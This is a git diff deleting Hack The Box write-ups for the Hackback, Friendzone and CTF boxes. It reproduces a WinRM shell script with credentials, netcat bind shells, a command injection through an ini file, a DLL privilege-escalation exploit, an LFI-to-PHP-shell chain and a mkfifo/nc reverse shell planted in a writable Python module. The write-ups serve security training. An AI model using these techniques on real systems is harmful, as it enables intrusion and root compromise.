right endpoint. - -```ruby -#!/usr/bin/ruby - -require 'winrm' - -conn = WinRM::Connection.new( - endpoint: 'http://127.0.0.1:5985/wsman', - user: 'hackback\simple', - password: 'ZonoProprioZomaro:-(', - :no_ssl_peer_verification => true - ) - -command="" - -conn.shell(:powershell) do |shell| - until command == "exit\n" do - output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')") - print(output.output.chomp) - command = gets - output = shell.run(command) do |stdout, stderr| - STDOUT.print stdout - STDERR.print stderr - end - end - puts "Exiting with code #{output.exitcode}" -end -``` - -I can connect successfully and now have a shell as user `simple`: - -``` -# proxychains ./winrm-simple.rb -ProxyChains-3.1 (http://proxychains.sf.net) -PS hackback\simple@HACKBACK Documents> - -PS hackback\simple@HACKBACK util> whoami /priv - -PRIVILEGES INFORMATION ----------------------- - -Privilege Name Description State -============================= ========================================= ======= -SeChangeNotifyPrivilege Bypass traverse checking Enabled -SeImpersonatePrivilege Impersonate a client after authentication Enabled -SeIncreaseWorkingSetPrivilege Increase a process working set Enabled - -PS hackback\simple@HACKBACK util> net users simple -User name simple -Full Name simple -[...] - -Local Group Memberships *project-managers *Remote Management Use - *Users -``` - -No user flag yet though. - -### Escalating to user hacker - -That WinRM shell was very slow so I spawned a bind shell on port 4442 with netcat to speed things up a little bit. - -Initially I tried uploading netcat to `\programdata` but found out that AppLocker was blocking it so instead I uploaded it to a directory not controlled by AppLocker:`./hackback_write.py "/Windows/System32/spool/drivers/color/nc.exe" nc.exe` - -``` -C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe -L -p 4442 -[...] -# proxychains nc -nv 127.0.0.1 4442 -ProxyChains-3.1 (http://proxychains.sf.net) -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Connected to 127.0.0.1:4442. -Microsoft Windows [Version 10.0.17763.292] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\util>whoami -whoami -hackback\simple -``` - -There's an interesting directory `c:\util` that contains a bunch of different tools: - -``` -C:\util>dir -dir - Volume in drive C has no label. - Volume Serial Number is 00A3-6B07 - - Directory of C:\util - -07/05/2019 03:11 AM . -07/05/2019 03:11 AM .. -03/08/2007 01:12 AM 139,264 Fping.exe -03/29/2017 07:46 AM 312,832 kirbikator.exe -12/14/2018 04:42 PM 1,404 ms.hta -12/14/2018 04:30 PM PingCastle -02/29/2016 01:04 PM 359,336 PSCP.EXE -02/29/2016 01:04 PM 367,528 PSFTP.EXE -05/04/2018 12:21 PM 23,552 RawCap.exe - 7 File(s) 1,204,017 bytes - 3 Dir(s) 92,174,512,128 bytes free -``` - -There's also an hidden directory `c:\util\scripts`: - -``` -C:\util>dir /ah - Volume in drive C has no label. - Volume Serial Number is 00A3-6B07 - - Directory of C:\util - -12/21/2018 07:21 AM scripts - 0 File(s) 0 bytes - 1 Dir(s) 92,174,512,128 bytes free - -C:\util\scripts>dir - Volume in drive C has no label. - Volume Serial Number is 00A3-6B07 - - Directory of C:\util\scripts - -12/21/2018 06:44 AM 84 backup.bat -07/05/2019 12:54 AM 402 batch.log -12/13/2018 03:56 PM 93 clean.ini -12/08/2018 10:17 AM 1,232 dellog.ps1 -07/05/2019 12:54 AM 35 log.txt -12/13/2018 03:54 PM spool - 5 File(s) 1,846 bytes - 1 Dir(s) 92,184,432,640 bytes free -``` - -I guessed that the `clean.ini` file is somehow used by the `dellog.ps1` script as input parameters: - -``` -C:\util\scripts>type clean.ini -type clean.ini -[Main] -LifeTime=100 -LogFile=c:\util\scripts\log.txt -Directory=c:\inetpub\logs\logfiles - -C:\util\scripts>type dellog.ps1 -type dellog.ps1 -Access is denied. -``` - -I can't read the `dellog.ps1` script but the `clean.ini` is writable by user `simple` since he's a member of the `project-managers` group: - -``` -C:\util\scripts>icacls clean.ini -icacls clean.ini -clean.ini NT AUTHORITY\SYSTEM:(F) - BUILTIN\Administrators:(F) - HACKBACK\project-managers:(M) - -Successfully processed 1 files; Failed processing 0 files -``` - -The `LogFile` parameter is vulnerable to command injection. The powershell script that wipes the logs uses that parameter to pipe the output of another command so we can use the `&` character to execute arbitrary commands after the log file has been written to. - -I uploaded the following batch file that binds a shell on port 4441. The `snow.txt` file is just there so I can check if the batch file was run by the scheduler. - -``` -echo check > c:\programdata\snow.txt -C:\Windows\System32\spool\drivers\color\nc.exe -e cmd.exe -L -p 4441 -``` - -``` -# ./hackback_write.py "/programdata/a.bat" a.bat -``` - -Then I modified the `clean.ini` as follows: - -``` -[Main] -LifeTime=9999 -LogFile=c:\util\scripts\log.txt & c:\programdata\a.bat -Directory=c:\users\hacker -``` - -I couldn't upload it directly to `c:\util\scripts\clean.ini` so I copied it to `\programdata` first then copied it over from the command line. - -``` -root@ragingunicorn:~/htb/hackback# ./hackback_write.py "/programdata/clean.ini" clean.ini -``` - -``` -C:\util\scripts>copy c:\programdata\clean.ini clean.ini -copy c:\programdata\clean.ini clean.ini -Overwrite clean.ini? (Yes/No/All): yes -yes - 1 file(s) copied. -``` - -After a while the batch file is executed (probably some scheduler job set up) and I can connect to the bind shell: - -``` -# proxychains nc -nv 127.0.0.1 4441 -ProxyChains-3.1 (http://proxychains.sf.net) -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Connected to 127.0.0.1:4441. -Microsoft Windows [Version 10.0.17763.292] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -whoami -hackback\hacker - -C:\Windows\system32>cd \users\hacker\desktop -cd \users\hacker\desktop - -C:\Users\hacker\Desktop>dir -dir - Volume in drive C has no label. - Volume Serial Number is 00A3-6B07 - - Directory of C:\Users\hacker\Desktop - -02/09/2019 03:34 PM . -02/09/2019 03:34 PM .. -02/09/2019 03:34 PM 32 user.txt - 1 File(s) 32 bytes - 2 Dir(s) 92,183,654,400 bytes free - -C:\Users\hacker\Desktop>type user.txt -type user.txt -92244... -``` - -### Privesc - -There's a suspicious service that user `hacker` can stop & start: - -``` -C:\Windows\system32>sc query userlogger - -SERVICE_NAME: userlogger - TYPE : 10 WIN32_OWN_PROCESS - STATE : 1 STOPPED - WIN32_EXIT_CODE : 1077 (0x435) - SERVICE_EXIT_CODE : 0 (0x0) - CHECKPOINT : 0x0 - WAIT_HINT : 0x0 - - -HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\userlogger - Type REG_DWORD 0x10 - Start REG_DWORD 0x3 - ErrorControl REG_DWORD 0x1 - ImagePath REG_EXPAND_SZ c:\windows\system32\UserLogger.exe - ObjectName REG_SZ LocalSystem - DisplayName REG_SZ User Logger - Description REG_SZ This service is responsible for logging user activity -``` - -I downloaded the file `UserLogger.exe` to figure out what the service does. When I opened it in IDA I found out it as UPX packed: - -![](/assets/images/htb-writeup-hackback/userlogger1.png) - -After unpacking it with `upx -d userlogger.exe` I was able to open it and see the functions in IDA. I found the function I was looking for. It seems to create a file based on a supplied argument and it also appends `.log` as the extension. - -![](/assets/images/htb-writeup-hackback/userlogger2.png) - -When I started the service with `sc start userlogger c:\windows\system\yolo` it created the `c:\windows\system32\yolo.log` file: - -``` -C:\Projects>dir c:\windows\system32\yolo.log - Volume in drive C has no label. - Volume Serial Number is 00A3-6B07 - - Directory of c:\windows\system32 - -07/05/2019 03:25 AM 58 yolo.log - 1 File(s) 58 bytes - 0 Dir(s) 92,148,129,792 bytes free - -C:\Projects>type c:\windows\system32\yolo.log -Logfile specified! -Service is starting -Service is running -``` - -I have full privileges to that file: - -``` -C:\Projects>icacls c:\windows\system32\yolo.log - -c:\windows\system32\yolo.log Everyone:(F) - -Successfully processed 1 files; Failed processing 0 files -``` - -So that means I can replace it with an arbitrary DLL and load it using the Diagnostics Hub Standard Collector Service privilege escalation exploit. - -I modified the exploit from [https://github.com/realoriginal/alpc-diaghub](https://github.com/realoriginal/alpc-diaghub) - -![](/assets/images/htb-writeup-hackback/alpc1.png) - -I created a simple DLL that executes netcat to spawn another bind shell on port 4300: - -![](/assets/images/htb-writeup-hackback/pwndll1.png) - -I then uploaded both files to their respective directories. The .exe needs to be in `/Windows/System32/spool/drivers/color` so I can avoid AppLocker. -``` -# ./hackback_write.py "/Windows/System32/spool/drivers/color/ALPC-TaskSched-LPE.exe" ALPC-TaskSched-LPE.exe -# ./hackback_write.py "/Windows/System32/yolo.log" PwnDll.dll -``` - -Executing the exploit... - -``` -C:\Windows\System32\spool\drivers\color>ALPC-TaskSched-LPE.exe -ALPC-TaskSched-LPE.exe -[+] Loading DLL -Creating directory: C:\Windows\System32\spool\drivers\color\..\..\..\..\..\programdata\etw -[+] If everything has gone well, you should have a SYSTEM shell! -``` - -And now I have a bind shell as SYSTEM: - -``` -# proxychains nc -nv 127.0.0.1 4300 -ProxyChains-3.1 (http://proxychains.sf.net) -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Connected to 127.0.0.1:4300. -Microsoft Windows [Version 10.0.17763.292] -(c) 2018 Microsoft Corporation. All rights reserved. - -C:\Windows\system32>whoami -whoami -nt authority\system -``` - -It looks like the Donkeys have one final troll, the `root.txt` is hidden and doesn't contain the flag: - -``` -C:\Users\Administrator\Desktop>dir /ah -dir /ah - Volume in drive C has no label. - Volume Serial Number is 00A3-6B07 - - Directory of C:\Users\Administrator\Desktop - -02/06/2019 11:20 AM 282 desktop.ini -02/09/2019 03:37 PM 1,958 root.txt - 2 File(s) 2,240 bytes - 0 Dir(s) 92,184,543,232 bytes free - -C:\Users\Administrator\Desktop>type root.txt -type root.txt - - __...----.. - .-' `-. - / .---.._ \ - | | \ \ | - `. | | | | _____ - ` ' | | / _.-` `. - \ | .'| //'''.' \ - `---'_(`.||.`.`.' _.`.'''-. \ - _(`'. `.`.`'.-' \\ \ \ - (' .' `-._.- / \\ \ | - ('./ `-._ .-| \\ || - ('.\ | | 0') ('0 __.--. \`----'/ - _.--('..| `-- .' .-. `. `--..' - _..--..._ _.-' ('.:| . / ` 0 ` \ - .' .-' `..' | / .^. | - / .' \ ' . `._ - .'| `. \`...____.----._.' - .'.'| . \ | |_||_||__| - // \ | _.-'| |_ `. \ - || | | /\ \_| _ _ | - || | /. . ' `.`.| || || - || / ' ' | . | `.`---'/ - .' `. | .' .'`. \ .' / `...' - .' \ \ .'.' `---\ '.-' | -)/\ / /)/ .| \ `. `.\ \ - )/ \( / \ | \ | `. `-. - )/ ) | | __ \ \.-` \ - | /| ) .-. //' `-| \ _ / - / _| | `-'.-.\ || `. )_.--' - ) \ '-. / '| ''.__.-`\ | - / `-\ '._|--' \ `. - \ _\ / `---. - /.--` \ \ .''''\ - `._..._| `-.' .-. | - '_.'-./.' -``` - -An easy way to "hide" data in CTF challenges on NTFS file systems is to use alternate data streams. Using powershell, I was able to determine that a `flag.txt` stream is present. - -``` -PS C:\Users\Administrator\Desktop> get-item -force -path root.txt -stream * - -PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt::$DATA -PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop -PSChildName : root.txt::$DATA -PSDrive : C -PSProvider : Microsoft.PowerShell.Core\FileSystem -PSIsContainer : False -FileName : C:\Users\Administrator\Desktop\root.txt -Stream : :$DATA -Length : 1958 - -PSPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop\root.txt:flag.txt -PSParentPath : Microsoft.PowerShell.Core\FileSystem::C:\Users\Administrator\Desktop -PSChildName : root.txt:flag.txt -PSDrive : C -PSProvider : Microsoft.PowerShell.Core\FileSystem -PSIsContainer : False -FileName : C:\Users\Administrator\Desktop\root.txt -Stream : flag.txt -Length : 35 -``` - -``` -PS C:\Users\Administrator\Desktop> get-content -force -path root.txt -stream flag.txt -6d29b0... -``` - -Game over, finally! \ No newline at end of file diff --git a/_posts/2019-07-13-htb-writeup-friendzone.md b/_posts/2019-07-13-htb-writeup-friendzone.md deleted file mode 100644 index 5cbebb0e68..0000000000 --- a/_posts/2019-07-13-htb-writeup-friendzone.md +++ /dev/null @@ -1,483 +0,0 @@ ---- -layout: single -title: Friendzone - Hack The Box -excerpt: "Friendzone is an easy box with some light enumeration of open SMB shares and sub-domains. I used an LFI vulnerability combined with a writable SMB share to get RCE and a reverse shell. A cron job running as root executes a python script every few minutes and the OS module imported by the script is writable so I can modify it and add code to get a shell as root." -date: 2019-07-13 -classes: wide -header: - teaser: /assets/images/htb-writeup-friendzone/friendzone_logo.png -categories: - - hackthebox - - infosec -tags: - - smb - - smbmap - - vhosts - - php - - python - - cronjob - - dns - - axfr ---- - -![](/assets/images/htb-writeup-friendzone/friendzone_logo.png) - -Friendzone is an easy box with some light enumeration of open SMB shares and sub-domains. I used an LFI vulnerability combined with a writable SMB share to get RCE and a reverse shell. A cron job running as root executes a python script every few minutes and the OS module imported by the script is writable so I can modify it and add code to get a shell as root. - -## Summary - -- A SMB share I access to contains credentials -- I can do a zone transfer and find a bunch of sub-domains -- The dashboard page contains an LFI which I can use in combination with the writable SMB share to get RCE -- After getting a shell as `www-data`, I find plaintext credentials that I use to log in as user `friend` -- A python script using `os.py` runs as root and `os.py` is writable so I can add code to get a reverse shell as root - -## Detailed steps - -### Nmap scan - -The box has a got a couple of services running. I take note of the DNS server since this could be used to do a DNS zone transfer and query various records that may contain useful information. - -``` -# nmap -sC -sV -p- 10.10.10.123 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 19:05 EST -Nmap scan report for friendzone.htb (10.10.10.123) -Host is up (0.013s latency). -Not shown: 65528 closed ports -PORT STATE SERVICE VERSION -21/tcp open ftp vsftpd 3.0.3 -22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA) -| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA) -|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519) -53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux) -| dns-nsid: -|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu -80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: Friend Zone Escape software -139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) -443/tcp open ssl/http Apache httpd 2.4.29 -|_http-server-header: Apache/2.4.29 (Ubuntu) -|_http-title: 404 Not Found -| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO -| Not valid before: 2018-10-05T21:02:30 -|_Not valid after: 2018-11-04T21:02:30 -|_ssl-date: TLS randomness does not represent time -| tls-alpn: -| http/1.1 -|_ http/1.1 -445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP) -Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### FTP site - -Anonymous access is not allowed on the FTP server: - -``` -# ftp 10.10.10.123 -Connected to 10.10.10.123. -220 (vsFTPd 3.0.3) -Name (10.10.10.123:root): anonymous -331 Please specify the password. -Password: -530 Login incorrect. -Login failed. -``` - -Nothing pops up on Exploit-DB for this version of vsFTPd so I'll move on. - -### Web enumeration - -The site is just a simple page with nothing interactive on it but there is a domain name at the bottom which I'll investigate further. - -![](/assets/images/htb-writeup-friendzone/friendzone.png) - -### SMB shares - -Using `smbmap` I can list the shares on the box: - -``` -# smbmap -H 10.10.10.123 -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.123... -[+] IP: 10.10.10.123:445 Name: friendzone.htb - Disk Permissions - ---- ----------- - print$ NO ACCESS - Files NO ACCESS - general READ ONLY - Development READ, WRITE - IPC$ NO ACCESS -``` - -I can also find where the shares on the filesystem are mapped with the `smb-enum-shares` nmap script: - -``` -# nmap -p 445 --script=smb-enum-shares 10.10.10.123 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-09 20:52 EST -Nmap scan report for friendzone.htb (10.10.10.123) -Host is up (0.0089s latency). - -PORT STATE SERVICE -445/tcp open microsoft-ds - -Host script results: -| smb-enum-shares: -| account_used: guest -| \\10.10.10.123\Development: -| Type: STYPE_DISKTREE -| Comment: FriendZone Samba Server Files -| Users: 0 -| Max Users: -| Path: C:\etc\Development -| Anonymous access: READ/WRITE -| Current user access: READ/WRITE -| \\10.10.10.123\Files: -| Type: STYPE_DISKTREE -| Comment: FriendZone Samba Server Files /etc/Files -| Users: 0 -| Max Users: -| Path: C:\etc\hole -| Anonymous access: -| Current user access: -| \\10.10.10.123\IPC$: -| Type: STYPE_IPC_HIDDEN -| Comment: IPC Service (FriendZone server (Samba, Ubuntu)) -| Users: 1 -| Max Users: -| Path: C:\tmp -| Anonymous access: READ/WRITE -| Current user access: READ/WRITE -| \\10.10.10.123\general: -| Type: STYPE_DISKTREE -| Comment: FriendZone Samba Server Files -| Users: 0 -| Max Users: -| Path: C:\etc\general -| Anonymous access: READ/WRITE -| Current user access: READ/WRITE -| \\10.10.10.123\print$: -| Type: STYPE_DISKTREE -| Comment: Printer Drivers -| Users: 0 -| Max Users: -| Path: C:\var\lib\samba\printers -| Anonymous access: -|_ Current user access: - -Nmap done: 1 IP address (1 host up) scanned in 2.82 seconds -``` - -Listing files from the share: - -``` -# smbmap -H 10.10.10.123 -r -[+] Finding open SMB ports.... -[+] Guest SMB session established on 10.10.10.123... -[+] IP: 10.10.10.123:445 Name: friendzone.htb - Disk Permissions - ---- ----------- - print$ NO ACCESS - Files NO ACCESS - general READ ONLY - ./ - dr--r--r-- 0 Wed Jan 16 15:10:51 2019 . - dr--r--r-- 0 Wed Jan 23 16:51:02 2019 .. - fr--r--r-- 57 Tue Oct 9 19:52:42 2018 creds.txt - Development READ, WRITE - ./ - dr--r--r-- 0 Sat Feb 9 15:50:02 2019 . - dr--r--r-- 0 Wed Jan 23 16:51:02 2019 .. - IPC$ NO ACCESS -``` - -`creds.txt` looks interesting: - -``` -# smbclient -U "" //10.10.10.123/general - -Enter HTB\'s password: -Try "help" to get a list of possible commands. -smb: \> get creds.txt -getting file \creds.txt of size 57 as creds.txt (1.6 KiloBytes/sec) (average 1.6 KiloBytes/sec) -smb: \> exit -root@ragingunicorn:~/htb/friendzone# cat creds.txt -creds for the admin THING: - -admin:WORKWORKHhallelujah@# -``` - -Found some credentials: `admin` / `WORKWORKHhallelujah@#` - -### Sub-domains enumeration - -Now that I have credentials, I just need to find where to use them. - -I can do a zone transfer for that domain I saw earlier on the main page and get the list of all sub-domains: - -``` -# host -t axfr friendzone.red 10.10.10.123 -Trying "friendzone.red" -Using domain server: -Name: 10.10.10.123 -Address: 10.10.10.123#53 -Aliases: - -;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56850 -;; flags: qr aa; QUERY: 1, ANSWER: 8, AUTHORITY: 0, ADDITIONAL: 0 - -;; QUESTION SECTION: -;friendzone.red. IN AXFR - -;; ANSWER SECTION: -friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 -friendzone.red. 604800 IN AAAA ::1 -friendzone.red. 604800 IN NS localhost. -friendzone.red. 604800 IN A 127.0.0.1 -administrator1.friendzone.red. 604800 IN A 127.0.0.1 -hr.friendzone.red. 604800 IN A 127.0.0.1 -uploads.friendzone.red. 604800 IN A 127.0.0.1 -friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800 - -Received 250 bytes from 10.10.10.123#53 in 12 ms -``` - -I'll add those entries to my local `/etc/hosts`. - -### Upload page - -There's a php application to upload images at `https://uploads.friendzone.red`. - -![](/assets/images/htb-writeup-friendzone/upload.png) - -Whenever I upload a file (image or not), I get a successful message: - -![](/assets/images/htb-writeup-friendzone/upload_successful.png) - -### Administrator page - -The `https://administrator1.friendzone.red` page contains a login form on which I can use the credentials I found in the SMB share. - -![](/assets/images/htb-writeup-friendzone/admin_login.png) - -After logging in I am asked to go to `dashboard.php`. - -![](/assets/images/htb-writeup-friendzone/admin_login_successful.png) - -The dashboard page seems to be some application that deals with images, but it's not really clear what it does except take an image name as a parameter and a pagename. - -![](/assets/images/htb-writeup-friendzone/dashboard.png) - -If I try the parameters displayed on the page I get: - -![](/assets/images/htb-writeup-friendzone/dashboard_params.png) - -The image is linked to `/images`, but none of the files I tried to upload from the previous upload page are found in that directory. - -![](/assets/images/htb-writeup-friendzone/images.png) - -There's an LFI in the `pagename` parameter and I can use a PHP base64 encode filter to read files: - -Request: `https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=pagename=php://filter/convert.base64-encode/resource=dashboard` - -![](/assets/images/htb-writeup-friendzone/dashboard_lfi.png) - -The base64 encoded text is the source code for `dashboard.php`: - -```php -

Smart photo script for friendzone corp !

"; -//echo "

* Note : we are dealing with a beginner php developer and the application is not tested yet !

"; -echo "FriendZone Admin !"; -$auth = $_COOKIE["FriendZoneAuth"]; - -if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){ - echo "


"; - -echo "

Smart photo script for friendzone corp !

"; -echo "

* Note : we are dealing with a beginner php developer and the application is not tested yet !

"; - -if(!isset($_GET["image_id"])){ - echo "

"; - echo "

image_name param is missed !

"; - echo "

please enter it to show the image

"; - echo "

default is image_id=a.jpg&pagename=timestamp

"; - }else{ - $image = $_GET["image_id"]; - echo "
"; - - echo "

Something went worng ! , the script include wrong param !

"; - include($_GET["pagename"].".php"); - //echo $_GET["pagename"]; - } -}else{ -echo "

You can't see the content ! , please login !

"; -} -?> -``` - -The `.php` suffix is added automatically after the filename so I can't arbitrarily read any files. I tried the PHP path truncation technique as well as adding null bytes at the end of string but I was not able to bypass this. - -I also dumped the `upload.php` source code and saw that the upload thing is just a troll since it doesn't do anything. - -```php -"; -echo time()+3600; -}else{ - -echo "WHAT ARE YOU TRYING TO DO HOOOOOOMAN !"; - -} - -?> -``` - -### Getting a shell with PHP - -The `Development` share I saw earlier is writable by the guest user so I can upload a PHP reverse shell in there and use the LFI to trigger it. The full path of the share is `/etc/Development` as indicated in the nmap script output. - -``` -# smbclient -U "" //10.10.10.123/Development -Enter HTB\'s password: -Try "help" to get a list of possible commands. -smb: \> put shell.php -putting file shell.php as \shell.php (184.9 kb/s) (average 184.9 kb/s) -smb: \> -``` - -I trigger the shell with the following request: `https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell` - -``` -# nc -lvnp 5555 -listening on [any] 5555 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 36974 -Linux FriendZone 4.15.0-36-generic #39-Ubuntu SMP Mon Sep 24 16:19:09 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux - 23:16:59 up 35 min, 0 users, load average: 0.00, 0.00, 0.00 -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -uid=33(www-data) gid=33(www-data) groups=33(www-data) -/bin/sh: 0: can't access tty; job control turned off -$ python -c 'import pty;pty.spawn("/bin/bash")' -www-data@FriendZone:/$ -``` - -Found other credentials in the `/var/www` directory: - -``` -www-data@FriendZone:/var/www$ ls -la -ls -la -total 36 -drwxr-xr-x 8 root root 4096 Oct 6 15:47 . -drwxr-xr-x 12 root root 4096 Oct 6 02:07 .. -drwxr-xr-x 3 root root 4096 Jan 16 22:13 admin -drwxr-xr-x 4 root root 4096 Oct 6 01:47 friendzone -drwxr-xr-x 2 root root 4096 Oct 6 01:56 friendzoneportal -drwxr-xr-x 2 root root 4096 Jan 15 21:08 friendzoneportaladmin -drwxr-xr-x 3 root root 4096 Oct 6 02:05 html --rw-r--r-- 1 root root 116 Oct 6 15:47 mysql_data.conf -drwxr-xr-x 3 root root 4096 Oct 6 01:39 uploads -www-data@FriendZone:/var/www$ cat mysql_data.conf -cat mysql_data.conf -for development process this is the mysql creds for user friend - -db_user=friend - -db_pass=Agpyu12!0.213$ - -db_name=FZ -``` - -There's a `friend` user in the local passwd database: - -``` -www-data@FriendZone:/var/www$ grep friend /etc/passwd -grep friend /etc/passwd -friend:x:1000:1000:friend,,,:/home/friend:/bin/bash -``` - -I can SSH in with those credentials and grab the `user.txt` flag: - -``` -root@ragingunicorn:~/htb/friendzone# ssh friend@10.10.10.123 -Ilcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage - -Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings - -You have mail. -Last login: Sat Feb 9 23:43:09 2019 from 10.10.14.23 -friend@FriendZone:~$ cat user.txt -a9ed20... -``` - -### Privesc - -`/opt/server_admin` contains a `reporter.py` script that probably runs every minutes in a root owned cronjob: - -``` -friend@FriendZone:/opt/server_admin$ cat reporter.py -#!/usr/bin/python - -import os - -to_address = "admin1@friendzone.com" -from_address = "admin2@friendzone.com" - -print "[+] Trying to send email to %s"%to_address - -#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"''' - -#os.system(command) - -# I need to edit the script later -# Sam ~ python developer -``` - -I can confirm it's running in a cronjob by using pspy: - -![](/assets/images/htb-writeup-friendzone/pspy.png) - -The script doesn't really do anything except import the standard `os` module. - -Looking at the module definition, I see that the permissions are world writable on the one for Python 2.7: - -``` -friend@FriendZone:/opt/server_admin$ find /usr -name os.py 2>/dev/null -/usr/lib/python3.6/os.py -/usr/lib/python2.7/os.py -friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python2.7/os.py --rwxrwxrwx 1 root root 25910 Jan 15 22:19 /usr/lib/python2.7/os.py -friend@FriendZone:/opt/server_admin$ ls -l /usr/lib/python3.6/os.py --rw-r--r-- 1 root root 37526 Sep 12 21:26 /usr/lib/python3.6/os.py -``` - -I can modify the `os.py` file and add a reverse shell at the end so when the module is imported by the script it'll execute my reverse shell. - -``` -system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 5555 >/tmp/f") -``` - -A few moments later I get a shell as root: - -``` -# nc -lvnp 5555 -listening on [any] 5555 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.123] 60168 -/bin/sh: 0: can't access tty; job control turned off -# id -uid=0(root) gid=0(root) groups=0(root) -# cat /root/root.txt -b0e6c6... -``` \ No newline at end of file diff --git a/_posts/2019-07-20-htb-writeup-ctf.md b/_posts/2019-07-20-htb-writeup-ctf.md deleted file mode 100644 index 506a8b1e7a..0000000000 --- a/_posts/2019-07-20-htb-writeup-ctf.md +++ /dev/null @@ -1,561 +0,0 @@ ---- -layout: single -title: CTF - Hack The Box -excerpt: "This time it's a very lean box with no rabbit holes or trolls. The box name does not relate to a Capture the Flag event but rather the Compressed Token Format used by RSA securid tokens. The first part of the box involves some blind LDAP injection used to extract the LDAP schema and obtain the token for one of the user. Then using the token, we are able to generate tokens and issue commands on the box after doing some more LDAP injection. The last part of the token was pretty obscure as it involved abusing the listfile parameter in 7zip to trick it into read the flag from root.txt. I was however not able to get a root shell on this box using this technique." -date: 2019-07-20 -classes: wide -header: - teaser: /assets/images/htb-writeup-ctf/ctf_logo.png -categories: - - hackthebox - - infosec -tags: - - secureid - - injection - - otp - - php - - ldap - - cronjob - - 7zip ---- - -![](/assets/images/htb-writeup-ctf/ctf_logo.png) - -This time it's a very lean box with no rabbit holes or trolls. The box name does not relate to a Capture the Flag event but rather the Compressed Token Format used by RSA securid tokens. The first part of the box involves some blind LDAP injection used to extract the LDAP schema and obtain the token for one of the user. Then using the token, we are able to generate tokens and issue commands on the box after doing some more LDAP injection. The last part of the token was pretty obscure as it involved abusing the listfile parameter in 7zip to trick it into read the flag from root.txt. I was however not able to get a root shell on this box using this technique. - -## Summary - -- A hint in the HTML comments of the login page mentions a 81-digit token -- I can fuzz the usernames on the login page and find that there is a valid user named `ldapuser` -- An LDAP injection allows me to extract the token from the `pager` LDAP attribute of user `ldapuser` -- The group membership check on the command execution page can be bypassed by an LDAP injection on the `uid` attribute -- I get a shell with a simple perl reverse shell command -- There's a script running every minute that compresses and encrypt all files under `/var/www/html/upload` -- I can use the `listfile` parameter in 7-zip to force the program to read the `root.txt` file inside the root directory - -## Tools/Blogs used - -- [RSA SecurID-compatible software token for Linux/UNIX systems](https://github.com/cernekee/stoken) - -## Detailed steps - -The box doesn't have anything listening other than SSH and Apache: - -``` -# nmap -sC -sV -p- 10.10.10.122 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-02 19:02 EST -Nmap scan report for ctf.htb (10.10.10.122) -Host is up (0.0077s latency). -Not shown: 65533 filtered ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.4 (protocol 2.0) -| ssh-hostkey: -| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA) -| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA) -|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519) -80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) -| http-methods: -|_ Potentially risky methods: TRACE -|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 -|_http-title: CTF -``` - -### Quick web enumeration - -The box creators have implemented a rate-limit system on the box using fail2ban to prevent people from blindly bruteforcing it (dirbuster, sqlmap, etc.). - 